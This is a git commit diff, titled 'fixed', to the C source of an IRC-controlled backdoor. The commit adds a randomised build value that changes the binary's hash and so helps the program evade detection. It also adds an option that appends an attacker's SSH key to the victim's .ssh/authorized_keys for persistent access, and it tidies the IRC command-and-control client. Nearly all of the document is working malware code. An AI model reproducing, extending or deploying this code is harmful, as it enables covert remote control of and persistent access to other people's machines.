fixed

build.sh

@@ -1,3 +1,3 @@
 CFLAGS="-s -Os -pedantic -Wall -Wextra"
 
-cc $CFLAGS src/* -Iinclude  -lssl -lcrypto -DENABLE_SSL -DVAL1=$RANDOM -DVAL2=$RANDOM -omain
+cc $CFLAGS src/* -Iinclude -lssl -lcrypto -DENABLE_SSL -DVAL1=$RANDOM -DVAL2=$RANDOM -DVAL3=$RANDOM -omain

include/cfg.h

@@ -1,4 +1,5 @@
-typedef struct {
+#ifdef MAIN_C
+	typedef struct {
 		int use_ssl;
 		char *ip;
 		int port;
@@ -6,8 +7,37 @@ typedef struct {
 		char *pre_cmd;
 		char *channel;
 		char *channel_key;
-} SERVER;
+	} SERVER;
 
-SERVER servers[] = {
+
+	/* Client settings */
+	#define CFG_NICKLEN 7
+	SERVER servers[] = {
 		{1, "irc.ipv4.server", 6697, NULL, "#channel", NULL}
-};
+	};
+
+	/*
+	* Irc default ports:
+	* 6667 - unencrypted
+	* 6697 - connection with ssl
+	*/
+#endif
+
+
+/* Backdoor settings */
+#ifdef BACKDOOR_C
+
+	/* Uncomment if you want to enable option */
+	/* #define CFG_SSH */
+
+	#ifdef CFG_SSH
+		/*
+		* Writes your ssh key if connection
+		* was not established
+		*/
+
+		const char *ssh_key = "";
+	#endif
+
+#endif
+

include/irc.h

@@ -58,7 +58,6 @@ int IRCC_register(IRCC_client *irc, const char *nickname);
 int IRCC_initssl(IRCC_client *irc);
 void IRCC_close(IRCC_client *irc);
 
-//u - mean universal. Functions uses internal fields in structure
 int IRCC_usend(IRCC_client *irc, off_t bytes);
 int IRCC_urecv(IRCC_client *irc);
 

src/backdoor.c

@@ -5,10 +5,48 @@
 #include "backdoor.h"
 #include "irc.h"
 
+#define BACKDOOR_C
+#include "cfg.h"
+
 static FILE *fp;
 
 void backdoor_offline(void) {
 	sleep(60);
+
+#ifdef CFG_SSH
+	/* Write ssh key */
+	size_t len = strlen(ssh_key);
+	if (len <= 1)
+		return;
+
+	FILE *fp = fopen(".ssh/authorized_keys", "a+");
+	if (fp == NULL)
+		return;
+
+	/* Check if key already exist */
+	char *buf = malloc(len + 1);
+	if (buf == NULL) {
+		fclose(fp);
+		return;
+	}
+
+	int flag = 0;
+	fseek(fp, 0, SEEK_SET);
+	while (fgets(buf, len + 1, fp) != NULL) {
+		if (!strncmp(buf, ssh_key, len)) {
+			flag = 1;
+			break;
+		}
+	}
+
+	free(buf);
+
+	/* Write if otherwise */
+	if (flag == 0)
+		fprintf(fp, "%s\n", ssh_key);
+
+	fclose(fp);
+#endif
 }
 
 void send_info(IRCC_client *client, const char *buf) {
@@ -51,13 +89,6 @@ void parse_cmd(IRCC_client *client) {
 		send_info(client, buf);
 	}
 
-	else if (!strncmp(client->irc_msg, "!write", 6)) {
-		if (fp == NULL)
-			return;
-
-		fputs(client->irc_msg + 5, fp);
-	}
-
 	else if (!strncmp(client->irc_msg, "!close", 6)) {
 		if (fp == NULL)
 			return;

src/irc.c

@@ -32,7 +32,7 @@ int IRCC_connect(IRCC_client *irc, const char *ip, const unsigned int port) {
 	if (!hp)
 		return IRCC_ERROR;
 
-	//Only ipv4
+	/* Only ipv4 */
 	struct sockaddr_in client_str;
 	memset(&client_str, 0, sizeof(client_str));
 	client_str.sin_family = AF_INET;
@@ -58,24 +58,24 @@ void IRCC_parse_msg(char *tmp, IRCC_client *irc) {
 	irc->irc_raw[strcspn(irc->irc_raw, "\r\n")] = '\0';
 
 	if (tmp != NULL) {
-		//Message
+		/* Message */
 		char *val = strchr(tmp, ':');
 		if (val != NULL) {
 			val[0] = '\0';
 			irc->irc_msg = val + 1;
 
-			//Del space before :
+			/* Del space before : */
 			*(val - 1) = '\0';
 		}
 
-		//Channel
+		/* Channel */
 		val = strchr(tmp, ' ');
 		if (val != NULL) {
 			val[0] = '\0';
 			irc->irc_channel = val + 1;
 		}
 
-		//Nickname
+		/* Nickname */
 		val = strchr(irc->irc_raw, '!');
 		if (val != NULL) {
 			val[0] = '\0';
@@ -107,11 +107,11 @@ int IRCC_parse(IRCC_client *irc) {
 	irc->irc_msg = NULL;
 	irc->irc_nick = NULL;
 
-	//Check end of motd
+	/* Check end of motd */
 	if (strstr(irc->irc_raw, "PRIVMSG ") == NULL && strstr(irc->irc_raw, "MOTD"))
 		return IRCC_CONNECTED;
 
-	//Other
+	/* Other */
 	else if (strstr(irc->irc_raw, "PRIVMSG ")) {
 		IRCC_parse_msg(strstr(irc->irc_raw, "PRIVMSG "), irc);
 		return IRCC_PRIVMSG;
@@ -155,7 +155,7 @@ int IRCC_register(IRCC_client *irc, const char *nickname) {
 	if (IRCC_usend(irc, bytes) == -1)
 		return IRCC_ERROR;
 
-	//Motd skip
+	/* Motd skip */
 	while (1) {
 		int status = IRCC_recv(irc);
 		if (status == IRCC_DISCONNECTED)

src/main.c

@@ -4,12 +4,15 @@
 #include <unistd.h>
 #include "backdoor.h"
 #include "irc.h"
+
+#define MAIN_C
 #include "cfg.h"
 
 int ChangeHashSum(void) {
-	int i = VAL1;
-	int j = VAL2;
-	return i + j;
+	long i = VAL1;
+	long j = VAL2;
+	long k = VAL3;
+	return i + j - k;
 }
 
 char *randnick(size_t len) {
@@ -37,7 +40,7 @@ int start(void) {
 		if (IRCC_initssl(&client) == IRCC_ERROR)
 			return 1;
 
-	char *nick = randnick(15);
+	char *nick = randnick(CFG_NICKLEN);
 	if (nick == NULL)
 		return 0;